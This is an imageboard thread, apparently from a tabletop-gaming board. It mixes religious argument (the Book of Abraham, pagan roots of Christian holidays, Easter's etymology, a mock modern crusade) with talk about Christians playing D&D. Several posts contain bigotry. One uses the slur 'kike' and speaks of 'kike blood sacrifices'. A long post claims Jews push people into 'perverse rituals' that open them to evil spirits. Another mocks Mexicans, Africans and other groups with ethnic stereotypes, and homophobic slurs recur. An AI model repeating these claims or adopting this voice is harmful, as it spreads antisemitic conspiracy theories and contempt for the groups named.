>>326920

"And there are also many other things which Jesus did, the which, if they should be written every one, I suppose that even the world itself could not contain the books that should be written. Amen." John 21:25

>>340920

Can you go into those in the same comedic format?

>>339026

Okay, that was worth a giggle. Next?

>>333257

>>333341

It's a concept I've heard before (really want those Casca books now), but sometimes with the twist of reincarnation to it.

>>340923

>I'm Joseph Smith. Look at this awesome manuscript I bought after begging for money from my followers. Because of my gift of translation and after consulting this stone in a hat, I can see that it is the long lost Book of Abraham, written by Abraham using his own hand.

>I am now translating it.

>I have spent a long time translating this.

>Today I spent all day translating it.

>I'm writing in letters and in my journal that I am translating this, leaving plenty of evidence with little ambiguity what I think I'm doing here.

>Alright, here is the Book of Abraham that I translated from this manuscript.

>Years and a museum fire later

>Hello, I am an Egyptologist. I have spent years studying the languages and cultures of Egypt. I am an expert in my field.

>Hey, we have remnants of the manuscript Joseph Smith translated the book of Abraham from. Want to take a look?

>Sure. Hmm. Yes, this is a funerary text. Standard stuff. Very common. I've seen tons of these. This one in-particular is for a guy named Hor.

>No mention of Abraham?

>No. In fact it dates to 2000 years after Abraham's death.

>Well look at how he labeled this picture. Surely the labels are accurate.

>He mislabeled a woman as a man, and a God as a slave. He also filled in the missing piece of the image with a human head, that figure should have a jackal's head. Also those aren't idols to Egyptian gods, those are the jars that the organs of the deceased are place into. That isn't Abraham sacrificing his son, that is a priest preparing the body Hor. The body on the table isn't even alive. Also that isn't the Christian God, that is the male Egyptian God Min, who is sexually aroused. You can literally see his erection.

>Alright so let's ignore the fact that a drawing of a dick is literally, unambiguously, actually, not sarcastically, in every Mormon's bible that contains the Perl of Great Price. Can we get a second opinion?

>Hello, I am a Mormon Egyptologist. I pay tithing, go to church, have a degree from BYU, and my job is studying ancient Egyptian artifacts. What that last guy said is 100% true. Now please excuse my mental gymnastics as I jump flip and spin out of here.

>Can we get some third and forth opinions?

>Hello, we some more Egyptologists. We will corroborate what has been said before.

>Well you can see part of the manuscipt was lost in that museum fire maybe there was space for…

>The manuscript was stored rolled as a scroll. The piece of the manuscript we have would be the outermost piece of that manuscript because every other funerary text we have found follows this pattern. A piece was torn off while it was rolled up, which you can see in this pattern of missing pieces that get closer together. Using mathematics we can estimate how much space was left on the manuscript and, will you look at that, just enough space for the rest of funerary text.

>Well maybe he didn't translate it from this particular text. There was an entire scroll lost in the fire!

>You guys have published on a church sponsored website the notes Joseph Smith used when translating. He copied characters from this manuscript and their supposed meanings next to them, which you can clearly see. These characters match the characters on the manuscript. In fact it also shows he was reading from left to right, when he should have been reading right to left. Also the first hand accounts of the scrolls show the second scroll was the same size, which isn't enough for the entire Perl of Great Price. The only account of a scroll that is long enough is a third hand account, told originally by an old man remembering a moment from when he was a young child.

>Fine, he just used the manuscript as inspiration for the Perl of Great Price.

>He pretty clearly stated on multiple occasions that he was "translating" it, and stated that the manuscript was written by Abraham. In fact in the "translated" version that you guys published it says it was written by Abraham's own hand.

>Haha, very funny. We are the Department of Correlation which is affiliated with the prophet. And the prophet can't be wrong. Case closed.

>Not sure if I trust your judgment after the salamander papers and kinderhook plates…

>CASE CLOSED.

>>340854

Normalfags, normalfags never change

>>333253

>I'm fairly sure that it was at least part of Christian tradition that Pilate was condemned to hell after ordering the execution

Sounds like more catholic fanfiction

>>340920

>There are more glaring problems in the religion that what you listed.

I'd be very surprised if there weren't - that was the best I could do from about 15 minutes of research.

>>341018

Eh, Catholiv Fanfic = Christian Tradition, more or less.

>>333253

Considering that Rome transitioned into Christianity later on, I find your notions that they're the sort that would be all defiance of the divine is a bit…spurious. Not to mention the polytheistic religion that preceded Christianity was all about sacrificing and pleasing the gods- y'know, as religions are wont to be.

/tg/, how do I incorporate protestantism into my space sci fi game as a faction?

>>342511

Humanity (fuck yeah) has conquered all known life in the galaxy, puts down colonies, teraforming, and all that. The Catholic church has begun incorporating alien religions into its teachings in order to form a universal religion in an effort to make the aliens more receptive to becoming part of the Confederacy Earth. This is similar to how the Catholic church historically incorporated pagan teachings and holidays into to make the pagans more accepting of their new religion. Protestants protest this as heresy but the Confederacy of Earth wants to silence them because the Universal Catholic Church and Space Pope are too important to the governments's ambitions of galactic conquests so they have allowed for inquisitions. Protestants hijack some Seed ships in the hopes of setting up new homeworlds outside of UCC control. Others seek to topple the regime. All of them want to spread the word of Jesus to the aliens. Except the ones who don't think aliens have souls.

>>342529

Anon are you seriously doubting the idea?

Without pagan rome and pagan greek philosophers there is no Christianity. It was a mystery cult until it consumed the places in society that the public events held, that public services provided, that public leaders led by.

Praying to a saint for favor from god is hardly different from praying to a god for good favor from the fates. How many medieval saints were born out of pagan myths, how many knightly orders adorned themselves in the icons of forgotten gods, how the damn calendar yet has semblance to its origins.

God is a man robed in white, sitting on a golden throne in an Elysium field of fluffy white clouds, closed in by pearly white gates, no? Hell is a place of fire and brimstone, where the dead are given punishments according to their deeds in life, no? A dark man with a long poll ferries you across the waters, no?

Culturally, inseperable. Theologically, it's an old reconciliation between the Greek moralists and the Catholic dogma. Aesthetically, come the fuck on, couldn't get more pagan. Fish hat.

>>342534

<God is a man robed in white, sitting on a golden throne in an Elysium field of fluffy white clouds, closed in by pearly white gates, no?

No.

<Hell is a place of fire and brimstone, where the dead are given punishments according to their deeds in life, no?

No.

<A dark man with a long poll ferries you across the waters, no?

No.

<How many medieval saints were born out of pagan myths, how many knightly orders adorned themselves in the icons of forgotten gods

Someone just discovered cultural/artistic archetypes.

<Praying to a saint for favor from god is hardly different from praying to a god for good favor from the fates

Maybe, if you have no understanding of the theology involved in either case.

Protestant harder dude

>>342529

>>342537

That's some strong denial there.

>>342534

Spoken like someone with a surface level understanding of Christianity.

>>342541

Actually yes, I am denying the veracity of your claims, because they are untrue.

>>342529

>the Catholic church historically incorporated pagan teachings

Doesn't he mean stuff like Christmas and Easter?

>>342545

He might have an argument if he'd tried that, not much of one but more than he has currently.

Well. In my group we have:

>A raging sedevacantist catholic (the people that unironicly say that the church needs a Pope that could call on the tenth crusade to respond to the Jihad)

He's a cool guy that can hold his power level for a few hours while playing though. Just don't mention muslims near him.

>And the rest of us, except for one atheist, one (regular) catholic guy and a jewish guy are all protestant

>>342547

>the church needs a Pope that could call on the tenth crusade to respond to the Jihad

If he's restricting his definition to crusades against muslims then we'd be on the 9th by now. If you expand it to mean all military actions authorised/initiated by the Pope and called a crusade then I think we're up to the 18th or so by now.

>>342549

I said tenth because muslims don't really hold Jerusalem anymore, so why not bundle up every holy war into the same thing.

>>342550

>why not bundle up every holy war into the same thing

Because muh autism. To be blunt.

>>342551

Fair.

I guess the Cathars were technically still christians so ninth crusade against non-christians.

>pope calling a crusade

Except that there's nobody who'd actually fight in it.

> bretty good posts about heresy

> dubia, filial correction

is bergoglionism too soon? must wait for formal correction?

>>342554

If you look at what a crusader gets for turning out you might be surprised.

>VIP pass into heaven, no matter how shitty you've been up until that point.

>The right to keep as much loot as you can get hold of.

>All your debts are written off and forgiven

You probably wouldn't get all that many signing up for the indulgence (VIP Heaven pass), but the last two would gather a lot of interest. The ability of the Pope to enforce particularly the last point is questionable at the moment, but I still think you're underselling it.

>bergoglionism

I'm not familiar with that group, what did they say?

>>342556

>The ability of the Pope to enforce particularly the last point is questionable at the moment, but I still think you're underselling it.

Sure, there's people who'd want to fight in it but they're not able to:

- Most of western and northern Europe is too cucked/Protestant (what's the difference mirite?) to fight or will have domestic muslims level the place the moment the crusade takes off.

- Southern Europe is too poorfag to afford the crusade or will be bullied by the EU to stay out.

- 'Murica can't handle not being in charge when leveling the Middle East and dislike the Pope, so they stay out.

- Mexicans and other South Americans are too busy stealing all the opium to make drugs out of and sell in America to continue the fight.

- Brazilians go all HUEus Vult… until the Argentinians show up and the two become too busy trying to one-up each other to get shit done.

- Philipinos would join but the soldiers would be too busy teamkilling the Middle- and South Americans because they're drug dealers to further the cause.

- Russia doesn't care because they're Orthodox.

- Poland is too busy cleaning the Holy W.C. to contribute anything.

- Africans are too busy killing each other in tribal wars.

So who remains? A bunch of /k/ommandos an other lone wolves and small groups trying to take back the Holy Land? I don't know, I think the Pope would disapprove of people throwing dragon dildos and semen at Jerusalem.

>>342560

>Most of western and northern Europe is too cucked/Protestant (what's the difference mirite?)

To be entirely fair to the Prots you get cucks everywhere, don't point fingers.

For most of the rest I think you can trust Catholic/Christian unity (which would be massively enhanced in that situation) to smooth over most of the trouble and limit it to some snide remarks at worst. Also it wouldn't need to be a national scale movement requiring government authorisation. If you look at the first Crusade in particular it was a group of randoms gathering around a few more experienced leaders and the peasants crusade, which was just embarrassing.

>Russia doesn't care because they're Orthodox

And they're kind of doing their own thing anyway

>A bunch of /k/ommandos an other lone wolves and small groups trying to take back the Holy Land?

I know, it's glorious, isn't it.

>I think the Pope would disapprove of people throwing dragon dildos and semen at Jerusalem

To be fair once he's called it he can't exactly call it off. Also, not throwing jars of liquefied pork fat.

>>342562

Another issue is that quite a few countries have laws against citizens serving as mercenaries in foreign armies, so it has to be worded well to make sure the soldiers don't get into trouble once they return home.

>Also, not throwing jars of liquefied pork fat.

Spoilsport.

>>342529

Syncretism is a hell of a thing, anon.

>>342566

>Another issue is that quite a few countries have laws against citizens serving as mercenaries in foreign armies

But what about voluntary, unpaid, soldiers of God fighting not for profit but the righteous cause of freedom for the Holy Land control your laughter, this is a very serious point:^)?

>>342545

>the way to calculate the date of feasts is (salvific) doctrine

mem lad

>>342534

At the level you're at, even /christian/ would be of help to dissipate a few of the misunderstandings you have

>>328243

>Simonianism

Reminds me of an infamous schizo on /pol/ and other boards like that who thinks he died a bunch of times, has magical powers and the usual schizo stuff.

>>342579

The word is 'heretic,' you ninny.

>>342724

Given that Simon tried to buy the title of Apostle (rather than claiming that it was his by right) I'd say he was more of a con-man who got in too deep than a lunatic who actually believed what he was saying

>>342586

> She couldn't read or watch Harry Potter, or Star Wars

That's good upbringing. These are fucking pozzfests. the original trilogy can be good under parent supervision

>>342767

I disagree, nothing in Harry Potter or Star Wars this is before the new shit, mind is so pozzed that it's directly harmful to a child. You shouldn't stifle a kid's interests like that, it only makes them act out. You know what happened when she wasn't allowed to read the books until she graduated and moved out? Became a fucking massive autismo about all the shit she wasn't allowed to see as a kid.

>>342534

>God is a man robed in white, sitting on a golden throne in an Elysium field of fluffy white clouds, closed in by pearly white gates, no?

What the heckarino anon, it's not like the prophetic visions of the enthroned God are hard to find.

>Hell is a place of fire and brimstone, where the dead are given punishments according to their deeds in life, no?

Sure, prove to me that's pagan.

>A dark man with a long poll ferries you across the waters, no?

No there's no Charon analog or an Acheron. Seriously, this is all laid out in the bible, have you even read it?

>>342545

>Christmas and Easter

Dank meme

>>342824

>Easter doesn't come from Eostre.

>It comes from Eosturmonath

>It comes from Eostre's month

>It comes from Eostre

This is absolutely retarded.

Next he'll say Yule doesn't come from the Yulefather (Odin) or from the Yule ones (the Germanic gods) but from the month Yule.

Stopped listening there, this cuck is just too desperate to turn European holidays into kike blood sacrifices.

>>342816

>Praying to a saint for favor from god is hardly different from praying to a god for good favor from the fates.

A saint is a model of life, not an object of worship. People that pray to saints are heretics.

>God is a man robed in white, sitting on a golden throne in an Elysium field of fluffy white clouds, closed in by pearly white gates, no?

No, God looks like everything that ever was and ever will be, even things that don't exist. Giving God a phisical form is heresy.

>Hell is a place of fire and brimstone, where the dead are given punishments according to their deeds in life, no?

Hell is a state of being, in absence of God

>A dark man with a long poll ferries you across the waters, no?

No, Dante Aligieri is not considered theology.

What the church does and what people think the church does are two different things.

>>342834

In english the celebration adopted a pagan name because it was easier to pronounce.

Easter's real name is "pascua" which is a latin vulgata for pascha, which is latin for paskha, which is greek for paskha, which is abrahamic for pesakh, which is hebrew for "passover".

Easter is celebrated by both jews and christians but it has different meanings, while the christian easter celebrates the passing of Jesus Christ into divinity the jews celebrate the first step outside of Egypt.

>>342859

>the passing of Jesus Christ into divinity

MODS

>>342860

What do you call "rising from the dead and ascending to the heavens" then?

>>342859

>passing of Jesus Christ into divinity

Heretics will burn in Hell.

Christ can not become divine, He is God.

>>342861

Pentecost?

>>342861

Are you perchance a jw?

>>342861

Something that doesn't imply Christ wasn't divine during the earthly ministry.

About half my playgroup are conservative christian, one of whom posts bible quotes on facebook daily. Nobody gives half a fuck and we all have a grand old time anyway. One of the players is even playing a literal hellhound who does some seriously demonic shenanigans, one of the other PCs is in a lesbian relationship. Still no fucks given and we all have fun.

Granted I'm a little late to the party, got into /tg/ stuff in like 2010 or so, but if there are Christians out there taking issue with D&D I've yet to come across them

I'm a Christian who plays (or at least used to when I had friends who were into it) D&D, as well as lots of video-games, did LARP, all that good nerdery.

There are Christians, and I am increasingly finding myself among their number, who believe that saying and doing certain things can make people vulernable. The basic idea is that devils, demons or angels are all very 'legalistic' - in the sense that they are only permitted to do whatever they do with permission, or that they have to perform some ritual to gain access, or whatever. So when you are making a fantastical speech about communing with the spirits or opening yourself up to the elements, opening the door so a vampire can pass through - or even masturbating to porn; you're giving the devils justification to enter your life and harass you in that form. It's not strictly possession (although it can be), but just that certain actions allow them to harass us.

A simplified idea is:

If you give in to your anger and start swearing, a demon of wrath would feel entitled to harass you where previously he was unable. The real life consequence is that your initially rather small amount of anger then grows as the demon pokes, prods and whispers to you - subconsciously fueling your rage and making your small outburst become a tantrum or a fight. Now obviously you can say that is just the natural result of letting yourself getting carried away when angry, that it has nothing to do with devils; but I'm not so sure, and there are many Christians who are not so sure.

I used to also think that intention has to be a large part of what we do for it to be used for evil; yet study of the Bible, and even real life - has left me believing that the opposite is true. I'm fairly convinced that the Jews try and make normal people do all sorts of perverse rituals to open themselves up and become vulnerable to all manner of vile spirits. It is even written that the devil masquerades as an angel of light - so it should be any surprise that he'd try to make us think we were doing something good or harmless, when in reality we are doing some diabolical?

… With all that said I do not think Dungeons of Dragons, or any role-playing game; is inherently Satanic. There are perhaps certain writers and artists in the genre who are, but there are many who are not - and you are not worshiping the devil or any such thing when you play these games. My main concern about D&D would be the same concern I have for almost every aspect of our lives; when we eat when we are not hungry, we invite in spirits of gluttony. When we stay in bed when we are not tired; sloth. I am increasingly of the opinion that many of our acts open us up to harassment by devils, who due to their legalistic ways can only attack us if we allow them an opening. It should be noted that if I'm right, that most people are constantly opening themselves up to all sorts of different spirits, and that everyone does this and will no doubt continue to do it to varying extents throughout their life. I guess it comes down to; when you are aware that specific things invite devils into your life, is it right to still purposefully do them? To that I'd say no; and thus I'd probably be against certain scenarios in role-playing, but in the same way I'm against all sorts of things like giving in to one's anger, or lust, or greed, or whatever. So it's not really specific to D&D.

>>353107

…are you a Donatist or something?

>>353107

>There are Christians, and I am increasingly finding myself among their number, who believe that saying and doing certain things can make people vulernable.

You mean meme magic.

>>353127

I don't understand the question.

>>322596

>what is a pescetarian

>>353107

So of what you're describing has shown up in a lot of other philosophies and beliefs. Not necessarily the parts about conjuring Angels and Demons into your body, but more specifically the act of speaking things into reality. This shows up on both positive and negative contexts. Speaking your desires to help make them manifest, as well as not speaking ill of others, lest you invite tragedy upon them… and since we're talking about religion: Prayer.

Some new age movements and even offer similar ideas in believing that you can visualize, conceptualize, and verbalize your desires strongly enough to make them reality. And yes.. even meme magic draws on that concept.

>>353391

A hypocrite?

>>353391

faggots

>>353460

OK, hypocritical faggots.

>>322747

I think my dad had a chainsaw like that…might be the stripes

>>322419

After seeing /tg/'s magical realm I can understand the "satanic panic"